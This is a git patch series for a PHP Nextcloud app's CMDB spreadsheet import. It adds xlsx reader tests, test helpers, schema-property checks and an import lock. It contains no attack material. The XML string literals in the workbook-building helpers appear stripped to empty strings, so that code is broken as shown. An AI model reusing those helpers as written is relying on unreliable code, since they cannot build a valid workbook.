CmdbWorkbookReader { + public const READER_CLASS = RecordingXlsxReader::class; + }; + + try { + $reader->read(path: $path, profile: $this->profile(directory: $directory)); + $this->fail('TOO_MANY_ROWS expected'); + } catch (CmdbImportException $e) { + $this->assertSame('TOO_MANY_ROWS', $e->getErrorCode()); + $this->assertSame(['sheet' => 'Beheerde Applicaties CMDB', 'limit' => 1], $e->getDetails()); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded'); + } finally { + unlink($path); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testARowSpanBeyondTheLimitStopsBeforeLoading() + + /** + * The data pass holds only the resolved columns, and drops an empty row between data rows. + * + * @return void + */ + public function testTheDataPassHoldsOnlyResolvedColumns(): void { + $this->requireSpreadsheet(); + $path = CmdbTestSupport::buildWorkbook( + sheets: [ + 'Beheerde Applicaties CMDB' => [ + ['APPID', 'Personeelsnummer', 'Applicatie Naam'], + [1, 'P-0001', 'Een'], + [], + [2, 'P-0002', 'Twee'], + ], + ] + ); + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxRowsPerSheet' => 2]); + + try { + $rows = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile(directory: $directory))['rows']; + $this->assertSame([2, 4], array_column($rows, 'row')); + $this->assertSame(['APPID', 'Applicatie Naam'], array_keys(array_filter($rows[1]['cells'], static fn ($value): bool => $value !== null))); + $this->assertStringNotContainsString('P-000', (string)json_encode($rows)); + } finally { + unlink($path); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testTheDataPassHoldsOnlyResolvedColumns() + + /** + * A sheet within the row span still stops at the limit on non-empty rows. + * + * @return void + */ + public function testOneRowOverTheLimitWithinTheSpanIsRefused(): void { + $this->requireSpreadsheet(); + // maxRowsPerSheet 1 reads up to row 3, so both data rows are read, and the second is one too many. + $path = CmdbTestSupport::buildWorkbook(sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een'], [2, 'Twee']]]); + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxRowsPerSheet' => 1]); + + try { + (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile(directory: $directory)); + $this->fail('TOO_MANY_ROWS expected'); + } catch (CmdbImportException $e) { + $this->assertSame('TOO_MANY_ROWS', $e->getErrorCode()); + $this->assertSame(['sheet' => 'Beheerde Applicaties CMDB', 'limit' => 1], $e->getDetails()); + } finally { + unlink($path); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testOneRowOverTheLimitWithinTheSpanIsRefused() + /** * A text file named .xlsx, a .xlsm and a CSV are refused before PhpSpreadsheet is touched. * diff --git a/tests/Unit/Support/CmdbTestSupport.php b/tests/Unit/Support/CmdbTestSupport.php index 90f51c0e0..b562042ca 100644 --- a/tests/Unit/Support/CmdbTestSupport.php +++ b/tests/Unit/Support/CmdbTestSupport.php @@ -156,4 +156,152 @@ static function (string $class) use ($prefixes): void { return class_exists('PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx') === true; }//end loadPhpSpreadsheet() + /** + * Build a minimal xlsx package in a temporary file. + * + * A cell is a string (an inline string), an int or float (a number), or + * `['f' => formula, 'v' => cached value]` (a formula with its cached string + * value, or without one when `v` is absent). The caller removes the file. + * + * @param array>> $sheets Sheet name => rows of cells, row 1 first. + * @param string $prologue XML placed before every `` element, such as a DOCTYPE. + * @param array $extraParts Path inside the package => content. + * + * @return string The file path, ending in .xlsx. + */ + public static function buildWorkbook(array $sheets, string $prologue = '', array $extraParts = []): string { + $main = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'; + $rel = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'; + $pkg = 'http://schemas.openxmlformats.org/package/2006/relationships'; + $types = ''; + $entries = ''; + $rels = ''; + $parts = []; + $number = 0; + foreach ($sheets as $name => $rows) { + $number++; + $types .= ''; + $entries .= ''; + $rels .= ''; + $parts['xl/worksheets/sheet' . $number . '.xml'] = '' . $prologue + . '' . self::sheetRows(rows: $rows) . ''; + } + + $parts['[Content_Types].xml'] = '' + . '' + . '' . $types . ''; + $parts['_rels/.rels'] = ''; + $parts['xl/workbook.xml'] = '' . $entries . ''; + $parts['xl/_rels/workbook.xml.rels'] = '' . $rels . ''; + + $path = tempnam(sys_get_temp_dir(), 'cmdb-wb') . '.xlsx'; + $zip = new \ZipArchive(); + $zip->open($path, \ZipArchive::CREATE | \ZipArchive::OVERWRITE); + foreach (array_merge($parts, $extraParts) as $part => $content) { + $zip->addFromString($part, $content); + } + + $zip->close(); + return $path; + }//end buildWorkbook() + + /** + * The `` elements of a sheet. + * + * @param array> $rows Rows of cells, row 1 first. + * + * @return string + */ + private static function sheetRows(array $rows): string { + $xml = ''; + foreach (array_values($rows) as $index => $cells) { + $rowNumber = ($index + 1); + $xml .= ''; + foreach (array_values($cells) as $column => $value) { + if ($value === null) { + continue; + } + + $xml .= self::cell(reference: self::letters(index: $column + 1) . $rowNumber, value: $value); + } + + $xml .= ''; + } + + return $xml; + }//end sheetRows() + + /** + * One `` element. + * + * @param string $reference The cell reference. + * @param mixed $value The cell, as buildWorkbook() describes. + * + * @return string + */ + private static function cell(string $reference, mixed $value): string { + if (is_array($value) === true) { + $cached = ''; + if (array_key_exists('v', $value) === true) { + $cached = '' . htmlspecialchars((string)$value['v'], ENT_XML1) . ''; + } + + return '' . htmlspecialchars((string)$value['f'], ENT_XML1) . '' . $cached . ''; + } + + if (is_int($value) === true || is_float($value) === true) { + return '' . $value . ''; + } + + return '' . htmlspecialchars((string)$value, ENT_XML1) . ''; + }//end cell() + + /** + * A 1-based column index to its letters. + * + * @param int $index The column index. + * + * @return string + */ + private static function letters(int $index): string { + $letters = ''; + while ($index > 0) { + $letters = chr(65 + (($index - 1) % 26)) . $letters; + $index = intdiv(($index - 1), 26); + } + + return $letters; + }//end letters() + + /** + * A copy of the shipped profile directory with profile keys overridden. + * + * @param array $overrides Profile key => value. + * + * @return string The directory; remove it with removeDirectory(). + */ + public static function profileDirectory(array $overrides): string { + $directory = sys_get_temp_dir() . '/stackiq-cmdb-profile-' . bin2hex(random_bytes(4)); + mkdir($directory); + foreach (glob(self::appRoot() . '/lib/Settings/cmdb-import/*.json') as $file) { + copy($file, $directory . '/' . basename($file)); + } + + $profile = json_decode((string)file_get_contents($directory . '/topdesk-profile.json'), true); + file_put_contents($directory . '/topdesk-profile.json', json_encode(array_merge($profile, $overrides))); + + return $directory; + }//end profileDirectory() + + /** + * Remove a directory made by profileDirectory(). + * + * @param string $directory The directory. + * + * @return void + */ + public static function removeDirectory(string $directory): void { + array_map('unlink', glob($directory . '/*.json')); + rmdir($directory); + }//end removeDirectory() }//end class diff --git a/tests/Unit/Support/RecordingXlsxReader.php b/tests/Unit/Support/RecordingXlsxReader.php new file mode 100644 index 000000000..629ab0a90 --- /dev/null +++ b/tests/Unit/Support/RecordingXlsxReader.php @@ -0,0 +1,53 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Support; + +use PhpOffice\PhpSpreadsheet\Reader\Xlsx; +use PhpOffice\PhpSpreadsheet\Spreadsheet; + +/** + * The Xlsx reader with a load counter. + */ +class RecordingXlsxReader extends Xlsx { + /** + * Workbooks loaded since the last reset. + * + * @var int + */ + public static int $loads = 0; + + /** + * Load a workbook and count it. + * + * @param string $filename The file. + * @param int $flags PhpSpreadsheet load flags. + * + * @return Spreadsheet + */ + public function load(string $filename, int $flags = 0): Spreadsheet { + self::$loads++; + return parent::load($filename, $flags); + }//end load() +}//end class diff --git a/tests/analysis-stubs/phpspreadsheet-read-filter.stub.php b/tests/analysis-stubs/phpspreadsheet-read-filter.stub.php new file mode 100644 index 000000000..74d33eacc --- /dev/null +++ b/tests/analysis-stubs/phpspreadsheet-read-filter.stub.php @@ -0,0 +1,48 @@ +`, and NEVER loaded at runtime or during PHPUnit, where the real + * interface comes from OpenRegister's vendor directory. + * + * PhpSpreadsheet is shipped by OpenRegister, not by this app's composer.json, + * so it is absent from the analysis path. CmdbReadFilter implements this + * interface; the signature mirrors + * phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/IReadFilter.php (5.x). + * + * @category Test + * @package PhpOffice\PhpSpreadsheet\Reader + * + * @author Conduction b.v. + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace PhpOffice\PhpSpreadsheet\Reader; + +/** + * Should a cell be read? + */ +interface IReadFilter { + /** + * Should this cell be read? + * + * @param string $columnAddress Column address, such as "A" or "IV". + * @param int $row Row number. + * @param string $worksheetName Optional worksheet name. + * + * @return bool + */ + public function readCell(string $columnAddress, int $row, string $worksheetName = ''): bool; +}//end interface From 937a54bf4a5b16363410b32154529e318712a621 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 10:50:43 +0200 Subject: [PATCH 116/176] test(cmdb-import): the OpenRegister double checks scope flags and undeclared filters The search double applied every filter by string comparison and ignored _rbac and _multitenancy, so the idempotency tests could not fail on OpenRegister's real behaviour. It now matches nothing for a filter on a property the merged register does not declare (OpenRegister's 1 = 0), records every call that does not pass _rbac: false and _multitenancy: false (asserted after each test), and can ignore a filter, which proves the import re-checks every candidate itself. New tests cover a re-import beyond the first search page and the scope and filters of every match search. Co-Authored-By: Claude Opus 5.5 --- .../Service/CmdbExportImportServiceTest.php | 187 +++++++++++++++++- 1 file changed, 182 insertions(+), 5 deletions(-) diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index a27779e6c..68fb7b370 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -4,7 +4,10 @@ * Tests for the CMDB export import service. * * OpenRegister is an in-memory double of `ObjectServiceInterface` that - * applies the search filters the service sends; the mapping runs through + * applies the search filters the service sends the way OpenRegister does: a + * filter on a property the schema (register plus fragments) does not declare + * matches nothing. Every call must pass `_rbac: false` and + * `_multitenancy: false`, checked after every test; the mapping runs through * OpenRegister's real `MappingEngine` (or its verbatim test copy), progress * through the real `ProgressTracker` on an in-memory cache. The fixture * tests read the sanitised export through PhpSpreadsheet and are skipped @@ -126,6 +129,41 @@ class CmdbExportImportServiceTest extends TestCase { */ private ?ProgressTracker $tracker = null; + /** + * Declared properties per schema id, as the merged register ships them. + * + * @var array>|null + */ + private static ?array $declared = null; + + /** + * Properties taken out of a schema for one test, per schema id. + * + * @var array> + */ + private array $undeclared = []; + + /** + * Filter keys the search double ignores, as OpenRegister does with a filter it cannot apply. + * + * @var array + */ + private array $ignoredFilters = []; + + /** + * Every OpenRegister call that did not pass `_rbac: false` and `_multitenancy: false`. + * + * @var array + */ + private array $scopedCalls = []; + + /** + * Every searchObjects() query, in order. + * + * @var array> + */ + private array $searches = []; + /** * Reset the doubles. * @@ -141,8 +179,64 @@ protected function setUp(): void { $this->cache = []; $this->cacheFailure = null; $this->logLines = []; + $this->undeclared = []; + $this->ignoredFilters = []; + $this->scopedCalls = []; + $this->searches = []; }//end setUp() + /** + * Every OpenRegister call of every test reads and writes unscoped, as the import must. + * + * @return void + */ + protected function assertPostConditions(): void { + $this->assertSame([], $this->scopedCalls, 'every OpenRegister call passes _rbac: false and _multitenancy: false'); + }//end assertPostConditions() + + /** + * The properties a schema declares, from the register and every register fragment. + * + * @param int $schema The schema id. + * + * @return array + */ + private function declaredProperties(int $schema): array { + if (self::$declared === null) { + $dir = CmdbTestSupport::appRoot() . '/lib/Settings'; + $register = json_decode((string)file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $merge = new \ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $files = glob($dir . '/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $register = $merge->invoke(null, $register, json_decode((string)file_get_contents($file), true)); + } + + $ids = ['module' => self::MODULE, 'organization' => self::ORGANIZATION, 'usage' => self::USAGE, 'contactPerson' => self::CONTACT_PERSON]; + self::$declared = []; + foreach ($ids as $slug => $id) { + self::$declared[$id] = array_keys($register['components']['schemas'][$slug]['properties']); + } + } + + return array_values(array_diff((self::$declared[$schema] ?? []), ($this->undeclared[$schema] ?? []))); + }//end declaredProperties() + + /** + * Note an OpenRegister call that would be scoped by RBAC or multitenancy. + * + * @param string $method The method. + * @param bool $rbac The `_rbac` argument. + * @param bool $multitenancy The `_multitenancy` argument. + * + * @return void + */ + private function noteScope(string $method, bool $rbac, bool $multitenancy): void { + if ($rbac !== false || $multitenancy !== false) { + $this->scopedCalls[] = $method; + } + }//end noteScope() + // ------------------------------------------------------------------ // Doubles // ------------------------------------------------------------------ @@ -207,7 +301,8 @@ public function jsonSerialize(): array { private function objectService(): ObjectServiceInterface { $service = $this->createMock(ObjectServiceInterface::class); $service->method('saveObject')->willReturnCallback( - function (array $object, ?array $extend = [], $register = null, $schema = null, ?string $uuid = null): ObjectEntityInterface { + function (array $object, ?array $extend = [], $register = null, $schema = null, ?string $uuid = null, bool $_rbac = true, bool $_multitenancy = true): ObjectEntityInterface { + $this->noteScope(method: 'saveObject', rbac: $_rbac, multitenancy: $_multitenancy); $schema = (int)$schema; if ($this->beforeSave !== null) { ($this->beforeSave)($schema, $object); @@ -225,15 +320,22 @@ function (array $object, ?array $extend = [], $register = null, $schema = null, } ); $service->method('searchObjects')->willReturnCallback( - function (array $query = []): array { + function (array $query = [], bool $_rbac = true, bool $_multitenancy = true): array { + $this->noteScope(method: 'searchObjects', rbac: $_rbac, multitenancy: $_multitenancy); + $this->searches[] = $query; $schema = (int)($query['@self']['schema'] ?? 0); $limit = (int)($query['_limit'] ?? 30); $offset = (int)($query['_offset'] ?? 0); $filters = array_filter($query, fn ($key): bool => $key !== '@self' && str_starts_with((string)$key, '_') === false, ARRAY_FILTER_USE_KEY); + // OpenRegister turns a filter on a property the schema does not declare into `1 = 0`. + if (array_diff(array_keys($filters), $this->declaredProperties(schema: $schema)) !== []) { + return []; + } + $found = []; foreach (($this->store[$schema] ?? []) as $uuid => $data) { foreach ($filters as $field => $value) { - if ((string)($data[$field] ?? '') !== (string)$value) { + if (in_array($field, $this->ignoredFilters, true) === false && (string)($data[$field] ?? '') !== (string)$value) { continue 2; } } @@ -245,7 +347,8 @@ function (array $query = []): array { } ); $service->method('find')->willReturnCallback( - function ($id, ?array $_extend = [], bool $files = false, $register = null, $schema = null): ?ObjectEntityInterface { + function ($id, ?array $_extend = [], bool $files = false, $register = null, $schema = null, bool $_rbac = true, bool $_multitenancy = true): ?ObjectEntityInterface { + $this->noteScope(method: 'find', rbac: $_rbac, multitenancy: $_multitenancy); $data = ($this->store[(int)$schema][(string)$id] ?? null); if ($data === null) { return null; @@ -634,6 +737,80 @@ public function testReimportingTheSameExportChangesNothing(): void { $this->assertCount(1, $municipalities); }//end testReimportingTheSameExportChangesNothing() + /** + * A search on a property the schema does not declare yields nothing, as in OpenRegister. + * + * Guards the double itself: without this, a test could pass on a filter OpenRegister would never apply. + * + * @return void + */ + public function testSearchWithUndeclaredPropertyYieldsNothing(): void { + $this->store[self::MODULE]['mod-1'] = ['id' => 'mod-1', 'name' => 'Een', 'externalKey' => 'k']; + $objectService = $this->objectService(); + + $this->assertCount(1, $objectService->searchObjects(query: ['@self' => ['schema' => self::MODULE], 'externalKey' => 'k'], _rbac: false, _multitenancy: false)); + $this->undeclared[self::MODULE] = ['externalKey']; + $this->assertSame([], $objectService->searchObjects(query: ['@self' => ['schema' => self::MODULE], 'externalKey' => 'k'], _rbac: false, _multitenancy: false)); + }//end testSearchWithUndeclaredPropertyYieldsNothing() + + /** + * A re-import matches every module of a catalogue larger than one search page. + * + * @return void + */ + public function testAReimportMatchesBeyondTheFirstSearchPage(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = []; + for ($index = 1; $index <= 11; $index++) { + $rows[] = $this->row(appId: (string)$index, row: ($index + 1)); + } + + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(11, $report['summary']['unchanged']); + $this->assertCount(11, $this->store[self::MODULE]); + $this->assertCount(11, $this->store[self::USAGE]); + }//end testAReimportMatchesBeyondTheFirstSearchPage() + + /** + * A filter OpenRegister does not apply never widens a match: the import checks every candidate itself. + * + * @return void + */ + public function testAnUnappliedFilterDoesNotWidenTheMatch(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3), $this->row(appId: '3', row: 4)]; + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->ignoredFilters = ['externalKey', 'module']; + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(['unchanged', 'unchanged', 'unchanged'], array_column($report['rows'], 'outcome')); + $this->assertCount(3, $this->store[self::MODULE]); + }//end testAnUnappliedFilterDoesNotWidenTheMatch() + + /** + * Every match search names the register and the schema, and filters on the match fields. + * + * @return void + */ + public function testTheMatchSearchesNameTheirScopeAndFilters(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '7')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $filtersBySchema = []; + foreach ($this->searches as $query) { + $this->assertSame(self::REGISTER, $query['@self']['register']); + $filters = array_filter($query, fn ($key): bool => $key !== '@self' && str_starts_with((string)$key, '_') === false, ARRAY_FILTER_USE_KEY); + $filtersBySchema[$query['@self']['schema']][] = $filters; + } + + $this->assertContains(['externalKey' => 'topdesk:muni-1:7'], $filtersBySchema[self::MODULE]); + $this->assertContains(['consumer' => 'muni-1', 'module' => array_key_first($this->store[self::MODULE])], $filtersBySchema[self::USAGE]); + $this->assertContains(['type' => 'Supplier'], $filtersBySchema[self::ORGANIZATION]); + }//end testTheMatchSearchesNameTheirScopeAndFilters() + /** * The match key is the APPID: a changed Applicatie Code updates the same module. * From 89cfbac62e795f5d340a3688639d2eb04256d76d Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 10:52:40 +0200 Subject: [PATCH 117/176] fix(cmdb-import): refuse the import when a schema lacks the properties it matches on OpenRegister answers a filter on an undeclared property with no rows, not an error. On an install whose module schema predates the register fragment (no externalKey), every row therefore matched nothing and was created again: a re-import duplicated the whole catalogue. Before reading the file the import now checks, through OpenRegister's SchemaMapper, that module declares externalKey, externalId and externalNumber, organization name and type, usage consumer and module, and contactPerson contactsUid and organization. A missing property is SCHEMA_OUTDATED (503) naming the schema and the properties; a schema that cannot be read is NOT_CONFIGURED. Co-Authored-By: Claude Opus 5.5 --- lib/Exception/CmdbImportException.php | 2 + lib/Service/CmdbExportImportService.php | 83 +++++++++++++++- .../Service/CmdbExportImportServiceTest.php | 97 ++++++++++++++++++- 3 files changed, 176 insertions(+), 6 deletions(-) diff --git a/lib/Exception/CmdbImportException.php b/lib/Exception/CmdbImportException.php index 138a3e733..f0336b034 100644 --- a/lib/Exception/CmdbImportException.php +++ b/lib/Exception/CmdbImportException.php @@ -47,6 +47,7 @@ class CmdbImportException extends RuntimeException { public const READER_UNAVAILABLE = 'READER_UNAVAILABLE'; public const NOT_CONFIGURED = 'NOT_CONFIGURED'; public const WORKBOOK_TOO_LARGE = 'WORKBOOK_TOO_LARGE'; + public const SCHEMA_OUTDATED = 'SCHEMA_OUTDATED'; /** * HTTP status per error code. @@ -64,6 +65,7 @@ class CmdbImportException extends RuntimeException { self::READER_UNAVAILABLE => 503, self::NOT_CONFIGURED => 503, self::WORKBOOK_TOO_LARGE => 413, + self::SCHEMA_OUTDATED => 503, ]; /** diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index ee2513ed7..197e389fe 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -95,6 +95,27 @@ class CmdbExportImportService { */ public const ENGINE_CLASS = 'OCA\OpenRegister\Service\MigrationPack\MappingEngine'; + /** + * OpenRegister's schema mapper (not a public contract). + */ + public const SCHEMA_MAPPER_CLASS = 'OCA\OpenRegister\Db\SchemaMapper'; + + /** + * The properties every match search and the module key rely on, per schema. + * + * OpenRegister answers a filter on a property its schema does not declare + * with no rows, not an error; without these the import would create a + * duplicate of every record instead of matching it. + * + * @var array> + */ + private const MATCH_PROPERTIES = [ + 'module' => ['externalKey', 'externalId', 'externalNumber'], + 'organization' => ['name', 'type'], + 'usage' => ['consumer', 'module'], + 'contactPerson' => ['contactsUid', 'organization'], + ]; + /** * Page size for loading the organisations a name may match. */ @@ -254,9 +275,9 @@ public function requestCancel(string $operationId): bool { * * @return array The report (contract.md). * - * @throws CmdbImportException MAPPING_UNAVAILABLE, NOT_CONFIGURED, READER_UNAVAILABLE, NOT_XLSX, - * NO_SOURCE_SHEET, MISSING_COLUMN, TOO_MANY_ROWS, MUNICIPALITY_REQUIRED - * or MUNICIPALITY_INVALID. + * @throws CmdbImportException MAPPING_UNAVAILABLE, NOT_CONFIGURED, SCHEMA_OUTDATED, WORKBOOK_TOO_LARGE, + * READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, MISSING_COLUMN, + * TOO_MANY_ROWS, MUNICIPALITY_REQUIRED or MUNICIPALITY_INVALID. * @throws \Exception An unexpected OpenRegister error outside a row, such as * creating the municipality; rows catch their own. * @@ -1239,7 +1260,8 @@ private function resolveEngine(): object { * * @return array{objectService: ObjectServiceInterface, register: int, module: int, organization: int, usage: int, contactPerson: int} * - * @throws CmdbImportException NOT_CONFIGURED when OpenRegister or a schema is not configured. + * @throws CmdbImportException NOT_CONFIGURED when OpenRegister or a schema is not configured, + * SCHEMA_OUTDATED when a schema lacks a match property. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ @@ -1252,7 +1274,7 @@ private function resolveCoordinates(): array { $register = (int)($this->settingsService->getVoorzieningenConfig()['register'] ?? 0); $schemas = []; - foreach (['module', 'organization', 'usage', 'contactPerson'] as $type) { + foreach (array_keys(self::MATCH_PROPERTIES) as $type) { $schemas[$type] = (int)($this->settingsService->getSchemaIdForObjectType($type) ?? 0); } @@ -1263,9 +1285,60 @@ private function resolveCoordinates(): array { ); } + $this->assertMatchProperties(schemas: $schemas); + return array_merge(['objectService' => $objectService, 'register' => $register], $schemas); }//end resolveCoordinates() + /** + * Refuse the import when a schema does not declare the properties the matching relies on. + * + * The module properties arrive with the register fragment (module 0.3.5 and + * later), which an installation gets only after its register configuration + * is imported again. + * + * @param array $schemas Schema key => schema id. + * + * @return void + * + * @throws CmdbImportException NOT_CONFIGURED when the schemas cannot be read, + * SCHEMA_OUTDATED when one lacks a match property. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function assertMatchProperties(array $schemas): void { + try { + $mapper = $this->container->get(static::SCHEMA_MAPPER_CLASS); + } catch (Throwable $e) { + $mapper = null; + } + + if (is_object($mapper) === false || method_exists($mapper, 'find') === false) { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_CONFIGURED, message: 'OpenRegister SchemaMapper is not available'); + } + + foreach (self::MATCH_PROPERTIES as $type => $required) { + try { + $properties = $mapper->find(id: $schemas[$type], _rbac: false, _multitenancy: false)->getProperties(); + } catch (Throwable $e) { + throw new CmdbImportException( + errorCode: CmdbImportException::NOT_CONFIGURED, + message: 'The ' . $type . ' schema cannot be read: ' . get_class($e), + previous: $e + ); + } + + $missing = array_values(array_diff($required, array_keys((array)$properties))); + if ($missing !== []) { + throw new CmdbImportException( + errorCode: CmdbImportException::SCHEMA_OUTDATED, + message: 'The ' . $type . ' schema does not declare the properties the import matches on', + details: ['schema' => $type, 'missing' => $missing] + ); + } + } + }//end assertMatchProperties() + /** * The coordinates of the current run. * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 68fb7b370..b9bc3a1fd 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -361,6 +361,74 @@ function ($id, ?array $_extend = [], bool $files = false, $register = null, $sch return $service; }//end objectService() + /** + * OpenRegister's schema mapper over the declared properties. + * + * @return object + */ + private function schemaMapper(): object { + $test = $this; + return new class($test) { + /** + * Constructor. + * + * @param CmdbExportImportServiceTest $test The test, for the declared properties. + */ + public function __construct( + private CmdbExportImportServiceTest $test, + ) { + } + + /** + * A schema with the declared properties. + * + * @param int|string $id The schema id. + * @param array|null $_extend Ignored. + * @param bool $_rbac Must be false. + * @param bool $_multitenancy Must be false. + * + * @return object + */ + public function find(int|string $id, ?array $_extend = [], bool $_rbac = true, bool $_multitenancy = true): object { + $properties = array_fill_keys($this->test->schemaProperties(schema: (int)$id, rbac: $_rbac, multitenancy: $_multitenancy), ['type' => 'string']); + return new class($properties) { + /** + * Constructor. + * + * @param array $properties The properties. + */ + public function __construct( + private array $properties, + ) { + } + + /** + * The properties. + * + * @return array + */ + public function getProperties(): array { + return $this->properties; + } + }; + } + }; + }//end schemaMapper() + + /** + * The declared properties of a schema, for the schema mapper double. + * + * @param int $schema The schema id. + * @param bool $rbac The `_rbac` argument. + * @param bool $multitenancy The `_multitenancy` argument. + * + * @return array + */ + public function schemaProperties(int $schema, bool $rbac, bool $multitenancy): array { + $this->noteScope(method: 'SchemaMapper::find', rbac: $rbac, multitenancy: $multitenancy); + return $this->declaredProperties(schema: $schema); + }//end schemaProperties() + /** * The Contacts bridge over a fake address book. * @@ -527,14 +595,19 @@ public function read(string $path, CmdbImportProfile $profile): array { */ private function service(?CmdbWorkbookReader $reader = null, ?string $profileDir = null, array $config = ['register' => '20']): CmdbExportImportService { $objectService = $this->objectService(); + $schemaMapper = $this->schemaMapper(); $container = $this->createMock(ContainerInterface::class); $container->method('has')->willReturn(false); $container->method('get')->willReturnCallback( - function (string $id) use ($objectService) { + function (string $id) use ($objectService, $schemaMapper) { if ($id === ObjectServiceInterface::class) { return $objectService; } + if ($id === CmdbExportImportService::SCHEMA_MAPPER_CLASS) { + return $schemaMapper; + } + throw new RuntimeException('not in this container: ' . $id); } ); @@ -737,6 +810,28 @@ public function testReimportingTheSameExportChangesNothing(): void { $this->assertCount(1, $municipalities); }//end testReimportingTheSameExportChangesNothing() + /** + * A module schema without externalKey stops the import before reading: no duplicates of every record. + * + * @return void + */ + public function testAModuleSchemaWithoutTheMatchPropertiesStopsTheImport(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->undeclared[self::MODULE] = ['externalKey', 'externalNumber']; + + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->fail('SCHEMA_OUTDATED expected'); + } catch (CmdbImportException $e) { + $this->assertSame('SCHEMA_OUTDATED', $e->getErrorCode()); + $this->assertSame(503, $e->getHttpStatus()); + $this->assertSame(['schema' => 'module', 'missing' => ['externalKey', 'externalNumber']], $e->getDetails()); + } + + $this->assertSame([], $this->saves); + $this->assertSame([], $this->searches, 'refused before any search'); + }//end testAModuleSchemaWithoutTheMatchPropertiesStopsTheImport() + /** * A search on a property the schema does not declare yields nothing, as in OpenRegister. * From 4cc64649835ad6bcf5072dc3d4dac238514754ee Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 10:56:37 +0200 Subject: [PATCH 118/176] fix(cmdb-import): one import per register at a time, a second is refused with 409 Every match is find-then-create and the import runs for minutes in one request, so a double submit or two admins importing at once both saw "no match" and created every module, usage, supplier and contact person twice. The import now takes an exclusive Nextcloud lock on its register (ILockingProvider) after the configuration check and before the file is read, and releases it in a finally when the import returns or throws. A second import while the lock is held is IMPORT_IN_PROGRESS (409) and writes nothing. Co-Authored-By: Claude Opus 5.5 --- lib/Exception/CmdbImportException.php | 2 + lib/Service/CmdbExportImportService.php | 72 ++++++++++- .../Service/CmdbExportImportServiceTest.php | 117 +++++++++++++++++- 3 files changed, 185 insertions(+), 6 deletions(-) diff --git a/lib/Exception/CmdbImportException.php b/lib/Exception/CmdbImportException.php index f0336b034..86a795aba 100644 --- a/lib/Exception/CmdbImportException.php +++ b/lib/Exception/CmdbImportException.php @@ -48,6 +48,7 @@ class CmdbImportException extends RuntimeException { public const NOT_CONFIGURED = 'NOT_CONFIGURED'; public const WORKBOOK_TOO_LARGE = 'WORKBOOK_TOO_LARGE'; public const SCHEMA_OUTDATED = 'SCHEMA_OUTDATED'; + public const IMPORT_IN_PROGRESS = 'IMPORT_IN_PROGRESS'; /** * HTTP status per error code. @@ -66,6 +67,7 @@ class CmdbImportException extends RuntimeException { self::NOT_CONFIGURED => 503, self::WORKBOOK_TOO_LARGE => 413, self::SCHEMA_OUTDATED => 503, + 